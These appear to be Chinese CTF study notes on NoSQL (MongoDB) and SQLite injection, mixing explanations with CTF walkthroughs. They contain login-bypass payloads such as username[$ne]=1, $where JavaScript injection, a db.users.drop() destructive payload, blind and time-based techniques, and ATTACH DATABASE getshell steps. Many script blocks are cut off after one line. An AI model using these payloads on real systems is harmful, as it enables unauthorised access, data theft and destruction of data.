NoSQL + MongoDB + SQLite
Nosql
一、前置知识
1.什么是Nosql
NoSQL 数据库(意即”Not Only SQL,不仅仅是SQL”)并非表格格式,其存储数据的方式与关系表不同。NoSQL 数据库的类型因数据模型而异。主要类型包括文档、键值、宽列和图形。它们提供了灵活的模式,可以随大量数据和高用户负载而轻松扩展。NoSQL 数据库是以关系表以外的格式存储数据的数据库,是一种非关系型数据库。
2.NoSQL数据库类型

二、NOSQL注入
1.原理
NoSQL 注入不同于传统的SQL注入。传统的SQL注入是攻击者在网站未作防护的情况下利用特意构造的SQL语句替换原本的语句来达到读取数据库信息,获取权限等操作。虽然NOSQL不同于传统SQL,但是,有人的地方就有江湖,有数据库存在的地方就可能存在 SQL 注入漏洞。NoSQL 数据库也不例外。区别在于NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可以在数据库中执行命令,而且可以在应用程序本身中执行命令,这可能更加危险。
2.分类
有两种 NoSQL 注入分类的方式:
第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。
三、环境搭建
MongoDB(kail已安装)


mongodb的一些基本操作
1 | 启动 |

php扩展安装

测试注册(index.php是在/var/www/html路径下创建的一个注册测试文件)

四、漏洞(mongodb)
1.重言式注入
又称永真式 ,既在条件语句中注入代码使其表达式判定结果永远为真,从而绕过认证或访问机制。
部分mongodb的操作符:
MongoDB学习(七)$操作符表达式大全及实例_mongondb expression-CSDN博客
模糊查询用正则式:db.customer.find({‘name’: {‘$regex’:’.s.’} })
$ne=1时就是将所有不等于1的数据都查询出来
POC:
1 | username[$ne]=1&password[$ne]=1 |
json+unicode:
1 | {"username":{"\u0024\u006e\u0065":1}, "password":{"\u0024\u006e\u0065":1}} |

对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们发送 value=1 那么,也就是发送了一个 value 的值为 1 的数据。如果发送 value[$ne]=1 则 PHP 会将其转换为数组 value=array($ne=>1),当数据到了进入 MongoDB 后,原来一个单一的 {“value”:1} 查询就变成了一个 {“value”:{$ne:1} 条件查询。同样的,我们也可以使用下面这些作为 payload 进行攻击:
1 | username[$ne]=&password[$ne]= |
2.联合查询注入
在SQL注入中,有时候我们可以通过拼接字符串的方式绕过一些过滤,比如select+name,password+from+user。或者是常见的万能密码利用方法,比如 admin' or 1=1#这样闭合前面的引号利用or使逻辑判断永远为真,从而达到绕过登录验证的目的进入后台等。虽然mongodb的查询语句是json格式的,但我们同样可以使用字符串拼接的方式来使它逻辑判断永远为真
当输入账号密码后,正常的查询语句是这样的
1 | {'username':'admin', 'password':'123456'} |
由于这里没做任何过滤,所以我们可以构造恶意的payload来绕过登录
POC:
1 | username=admin', $or: [ {}, {'a': 'a&password=' }] |
1 | username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456 |
3.JavaScrip注入
①$where 操作符
$where操作符可以在MongoDB查询语句中使用,允许你通过JavaScript表达式执行高级查询。 $where操作符的值应该是一个JavaScript函数或字符串。函数或字符串中的JavaScript代码将在查询期间执行,并返回true或false,以确定文档是否匹配查询条件。
MongoDB 2.4 之前:
通过 $where 操作符使用 map-reduce、group 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。
如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:
1 | username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1 |
MongoDB 2.4 之后 :db 属性访问不到了,但可以构造万能密码。如果此时我们发送以下这几种数据就可以查出所有用户
POC:
1 | username=1&password=1';return true// |

② Command 方法
POC:
1 | username=1'});db.users.drop();db.user.find({'username':'1 |
4.盲注
NoSQL的盲注和SQL注入盲注类似,都是不返回数据 ,只是根据错误页面的返回来判断是否存在注入。 此处我们需要用到的MongoDB的 操作符来进行盲注$eq(等于)和$regex(正则匹配)。
在已知用户名的情况下,我们通过正则匹配来获取密码
1 | //判断密码长度 |
.{5} 表示匹配任意 5 个字符,这个正则表达式可以匹配长度为 5 的任意字符串,也就是说,密码必须是 5 个字符长的任意组合。
脚本:
1 | import requests |
例题:
[2021 MRCTF]Half-Nosqli
wp:MRCTF2021 Web方向Wp-安全KER - 安全资讯平台
swagger的常用路径./docs(访问站点的 /docs能看到 Swagger UI)
ftp :文件传输协议
swagger介绍:
http://localhost:8080/swagger-ui.html
提示了是 NoSQL,使用 NoSQL 的永真式绕过
这里没有任何过滤,Exp 如下:
1 | import requests |
[GKCTF 2021]hackme


结果只有两种,所以盲注
1 | import requests |
42276606202db06ad1f29ab6b4a1307f

读取/flag,提示 flag 在内网

根据提示:注意server和其配置文件!
server: nginx/1.17.6,读取Nginx配置文件:
1 | /usr/local/nginx/conf/nginx.conf |
得到:

这题不只一个服务,还有内网的 WebLogic(7001),外网直接打不到,需要“从当前 web 容器所在网络去访问”
根据phpinfo.php发现目标环境开启了session.upload_progress.enabled.(PHP 上传进度特性)
利用session.upload_progress.enabled 去getshell
本地访问poc.html,然后随便上传个文件后抓包,在HTTP头中加上一个 Cookie: PHPSESSID:
poc.html:
1 |
|
MongoDB
MongoDB学习(七)$操作符表达式大全及实例_mongodb expression-CSDN博客
MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案
一、MongoDB 基础概念
关系型数据库 RDBMS 与 MongoDB 之间对应的术语:
二、查询语句
详细: MongoDB查询速查完整版https://www.kdocs.cn/l/cssQceMoU6RT
常用的 4 类速查(mongosh):
- 库名
show dbs(shell 速查)db.adminCommand({ listDatabases: 1, nameOnly: true })(官方命令;一般在admin库下执行)
- 表名/集合名
show collections(shell 速查)db.runCommand({ listCollections: 1, nameOnly: true })(官方命令)- 需要过滤时可用
listCollections+filter思路
- 字段名
- 快速看结构:
db.<coll>.findOne() - 全量抽取顶层字段:用聚合把
$$ROOT转成 k/v 数组再去重(文档里给了现成 pipeline),核心依赖$objectToArray
- 快速看结构:
- 键名(索引 key 字段)
db.<coll>.getIndexes()(直接返回索引数组,里面的key就是索引键字段)
1 | 1. show dbs // 先看可见库 |
三、Nodejs 中的 MongoDB 注入
在 Nodejs 中也存在 MongoDB 注入的问题,其中主要是重言式注入,通过构造永真式构造万能密码实现登录绕过
payload:
1 | {"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}} |
1 | import requests |
SQLite注入
特点
- 每一个数据库都是一个文件,当我们查询表的完整信息时会得到创建表的数据
- sqlite-master:这个是内置系统表,相当于mysql的information_shcema但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型
- sqlite并不支持像mysql那样的注释,但是可以通过方式增加DDL注释
- sqlite_version():这个代表sqlite版本
- randomblob函数:因为sqlite没有类似sleep()的函数
- attach函数():这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行
基本语句
- 创建表
1 | create table wafa(name varchar(255),username varchar(255)); |
- 插入
1 | insert into wafa (name,username) values ('bbq','bbcd'); |
- 增加字段
1 | alter table wafa add column id int; |
- 查询语句
1 | select name from wafa where username='bbcd'; |
利用
- 联合查询
1 | id=1 order by 3 |
- 盲注
1 | //查询数据表长度 |
- 时间盲注:sqlite没有sleep函数,但是可以利用randomblob函数,这个函数作用时生成了一个N字节的blob,可以通过这个来延时
1 | and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end) |
- getshell:使用attach函数来操作,这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行函数格式
1 | attach database file_name as database_name |
例题:
vnctf2025 奶龙回家